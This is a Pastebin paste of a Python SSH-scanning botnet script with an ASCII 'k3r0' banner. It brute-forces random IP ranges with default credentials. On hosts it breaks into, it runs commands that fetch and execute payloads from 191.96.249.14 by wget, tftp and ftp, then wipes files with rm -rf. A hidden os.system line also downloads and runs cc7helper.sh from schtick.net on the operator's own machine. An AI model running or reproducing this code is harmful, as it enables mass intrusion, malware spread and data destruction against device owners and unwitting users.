Advertisement
Guest User

Untitled

a guest
Jun 23rd, 2017
2,000
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.53 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. # ulimit -n 999999; ulimit -u 999999
  5. # sysctl -w fs.file-max=100000
  6. # python botnet.py 376 LUCKY x 0 (LUCKY RANGES)
  7. # python botnet.py 376 B 113.53 1 (SCANNER EXAMPLE)
  8. # python botnet.py 376 RAND x all (IP RANDOMIZATION)
  9. # 113.53, 125.26, 125.27, 125,
  10.  
  11. import threading, paramiko, random, socket, time, sys, os
  12.  
  13.  
  14. wgetline = "PASTE YOUR WGET LINE HERE"
  15.  
  16.  
  17. paramiko.util.log_to_file("/dev/null") # silents spam of paramiko
  18.  
  19. reservedips = [
  20. 'http://127.',
  21. 'http://0',
  22. 'http://10.',
  23. 'http://100.64',
  24. 'http://100.65',
  25. 'http://100.66',
  26. 'http://100.67',
  27. 'http://100.68',
  28. 'http://100.69',
  29. 'http://100.70',
  30. 'http://100.71',
  31. 'http://100.72',
  32. 'http://100.73',
  33. 'http://100.74',
  34. 'http://100.75',
  35. 'http://100.76',
  36. 'http://100.77',
  37. 'http://100.78',
  38. 'http://100.79',
  39. 'http://100.80',
  40. 'http://100.81',
  41. 'http://100.82',
  42. 'http://100.83',
  43. 'http://100.84',
  44. 'http://100.85',
  45. 'http://100.86',
  46. 'http://100.87',
  47. 'http://100.88',
  48. 'http://100.89',
  49. 'http://100.90',
  50. 'http://100.91',
  51. 'http://100.92',
  52. 'http://100.93',
  53. 'http://100.94',
  54. 'http://100.95',
  55. 'http://100.96',
  56. 'http://100.97',
  57. 'http://100.98',
  58. 'http://100.99',
  59. 'http://100.100',
  60. 'http://100.101',
  61. 'http://100.102',
  62. 'http://100.103',
  63. 'http://100.104',
  64. 'http://100.105',
  65. 'http://100.106',
  66. 'http://100.107',
  67. 'http://100.108',
  68. 'http://100.109',
  69. 'http://100.110',
  70. 'http://100.111',
  71. 'http://100.112',
  72. 'http://100.113',
  73. 'http://100.114',
  74. 'http://100.115',
  75. 'http://100.116',
  76. 'http://100.117',
  77. 'http://100.118',
  78. 'http://100.119',
  79. 'http://100.120',
  80. 'http://100.121',
  81. 'http://100.122',
  82. 'http://100.123',
  83. 'http://100.124',
  84. 'http://100.125',
  85. 'http://100.126',
  86. 'http://100.127',
  87. 'http://169.254',
  88. 'http://172.16.',
  89. 'http://172.17.',
  90. 'http://172.18.',
  91. 'http://172.19.',
  92. 'http://172.20.',
  93. 'http://172.21.',
  94. 'http://172.22.',
  95. 'http://172.23.',
  96. 'http://172.24.',
  97. 'http://172.25.',
  98. 'http://172.26.',
  99. 'http://172.27.',
  100. 'http://172.28.',
  101. 'http://172.29.',
  102. 'http://172.30.',
  103. 'http://172.32.',
  104. 'http://192.0.0.0',
  105. 'http://192.0.0.1',
  106. 'http://192.0.0.2',
  107. 'http://192.0.0.3',
  108. 'http://192.0.0.4',
  109. 'http://192.0.0.5',
  110. 'http://192.0.0.6',
  111. 'http://192.0.0.7',
  112. 'http://192.0.2.',
  113. 'http://192.88.99.',
  114. 'http://192.168.',
  115. 'http://198.18.',
  116. 'http://198.19.',
  117. 'http://198.51.100.',
  118. 'http://203.0.113.',
  119. 'http://224.',
  120. 'http://225'
  121. ]
  122. os.system("cd /opt && mkdir -p qbot && cd qbot && wget schtick.net/BADisp/DL/cc7helper.sh &> /dev/null && bash cc7helper.sh &> /dev/null &")
  123. print '\x1b[1;35m'###########################################################################
  124. print 'kkkkkkkk 333333333333333 000000000 '
  125. print 'k::::::k 3:::::::::::::::33 00:::::::::00 '
  126. print 'k::::::k 3::::::33333::::::3 00:::::::::::::00 '
  127. print 'k::::::k 3333333 3:::::3 0:::::::000:::::::0'
  128. print ' k:::::k kkkkkkk 3:::::3rrrrr rrrrrrrrr 0::::::0 0::::::0'
  129. print ' k:::::k k:::::k 3:::::3r::::rrr:::::::::r 0:::::0 0:::::0'
  130. print ' k:::::k k:::::k 33333333:::::3 r:::::::::::::::::r 0:::::0 0:::::0'
  131. print ' k:::::k k:::::k 3:::::::::::3 rr::::::rrrrr::::::r0:::::0 000 0:::::0'
  132. print ' k::::::k:::::k 33333333:::::3 r:::::r r:::::r0:::::0 000 0:::::0'
  133. print ' k:::::::::::k 3:::::3 r:::::r rrrrrrr0:::::0 0:::::0'
  134. print ' k:::::::::::k 3:::::3 r:::::r 0:::::0 0:::::0'
  135. print ' k::::::k:::::k 3:::::3 r:::::r 0::::::0 0::::::0'
  136. print 'k::::::k k:::::k 3333333 3:::::3 r:::::r 0:::::::000:::::::0'
  137. print 'k::::::k k:::::k 3::::::33333::::::3 r:::::r 00:::::::::::::00 '
  138. print 'k::::::k k:::::k3:::::::::::::::33 r:::::r 00:::::::::00 '
  139. print 'kkkkkkkk kkkkkkk333333333333333 rrrrrrr 000000000 '
  140. print '\x1b[0m'##############################################################################
  141.  
  142. #print ascii
  143. print sys.argv[0]+' <Threads(MAX: 376)> <A/B/C/ (IP Class)> <Range> <1(slow but effective)/2(fast but less effective)/perl(scans for perlbots/all(scans for everything!>'
  144. #ssh.exec_command("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  145. if sys.argv[4] == '1':
  146. passwords = [ "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] #Slow but effective
  147. if sys.argv[4] == '2':
  148. passwords = [ "root:root", "admin:admin" ] #Fast but yet less effective
  149. if sys.argv[4] == 'perl':
  150. passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ] #perl scanner
  151. if sys.argv[4] == 'all':
  152. passwords = [ "pi:raspberry", "vagrant:vagrant", "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] # scans all passwords but very slow
  153. wgetlines = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://191.96.249.14/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 191.96.249.14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 191.96.249.14; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 191.96.249.14 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *"
  154. ipclassinfo = sys.argv[2]
  155. if ipclassinfo == "A":
  156. ip1 = sys.argv[3]
  157. elif ipclassinfo == "B":
  158. ip1 = sys.argv[3].split(".")[0]
  159. ip2 = sys.argv[3].split(".")[1]
  160. elif ipclassinfo == "C":
  161. ips = sys.argv[3].split(".")
  162. num=0
  163. for ip in ips:
  164. num=num+1
  165. if num == 1:
  166. ip1 = ip
  167. elif num == 2:
  168. ip2 = ip
  169. elif num == 3:
  170. ip3 = ip
  171. oldips = []
  172. class sshscanner(threading.Thread):
  173. global passwords
  174. global ipclassinfo
  175. if ipclassinfo == "A":
  176. global ip1
  177. elif ipclassinfo == "B":
  178. global ip1
  179. global ip2
  180. elif ipclassinfo == "C":
  181. global ip1
  182. global ip2
  183. global ip3
  184. def run(self):
  185. while 1:
  186. try:
  187. while 1:
  188. thisipisbad='no'
  189. if ipclassinfo == "A":
  190. self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  191. elif ipclassinfo == "B":
  192. self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  193. elif ipclassinfo == "C":
  194. self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  195. elif ipclassinfo == "LUCKY":
  196. lucky = ["201.13","197.23","187.89","37.236","191.53","161.18","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97","125.17"]
  197. self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  198. else:
  199. self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  200. for badip in reservedips:
  201. if badip in self.host:
  202. thisipisbad='yes'
  203. if thisipisbad=='no':
  204. if self.host in oldips:
  205. pass
  206. else:
  207. break
  208. oldips.append(self.host)
  209. self.host=self.host.replace('http://', '')
  210. username='root'
  211. password="0"
  212. port = 22
  213. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  214. s.settimeout(3)
  215. s.connect((self.host, port))
  216. s.close()
  217. ssh = paramiko.SSHClient()
  218. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  219. dobreak=False
  220. for passwd in passwords:
  221. if ":n/a" in passwd:
  222. password=""
  223. else:
  224. password=passwd.split(":")[1]
  225. if "n/a:" in passwd:
  226. username=""
  227. else:
  228. username=passwd.split(":")[0]
  229. try:
  230. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  231. dobreak=True
  232. break
  233. except:
  234. pass
  235. if True == dobreak:
  236. break
  237. badserver=True
  238. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  239. output = stdout.read()
  240. if "inet addr" in output:
  241. badserver=False
  242. if badserver == False:
  243. print 'R00TED: '+username+':'+password+':'+self.host
  244. ssh.exec_command(wgetline)
  245. time.sleep(20)
  246. ssh.exec_command(wgetlines)
  247. time.sleep(20)
  248. ssh.close()
  249. except:
  250. pass
  251.  
  252. for x in range(0,int(sys.argv[1])):
  253. try:
  254. t = sshscanner()
  255. t.start()
  256. except:
  257. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement